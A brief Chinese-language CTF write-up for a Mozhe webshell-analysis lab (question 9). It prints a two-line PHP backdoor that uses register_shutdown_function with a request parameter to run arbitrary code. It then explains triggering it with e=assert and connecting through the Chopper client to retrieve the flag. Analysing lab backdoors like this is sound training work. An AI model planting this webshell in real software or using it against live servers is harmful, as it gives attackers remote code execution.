墨者 - WebShell代码分析溯源(第9题)

 下载文件，题目也说要注意修改时间

 同样，根据 WebShell代码分析溯源(第8题) 的解题思路，

 

 找到木马文件

 代码如下：

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['REQUEST']);

register_shutdown_function 一个关机时执行的函数

所以构造url：/www/pomo/no.php?e=assert ，密码为REQUEST

接下来菜刀无惧链接

成功拿到key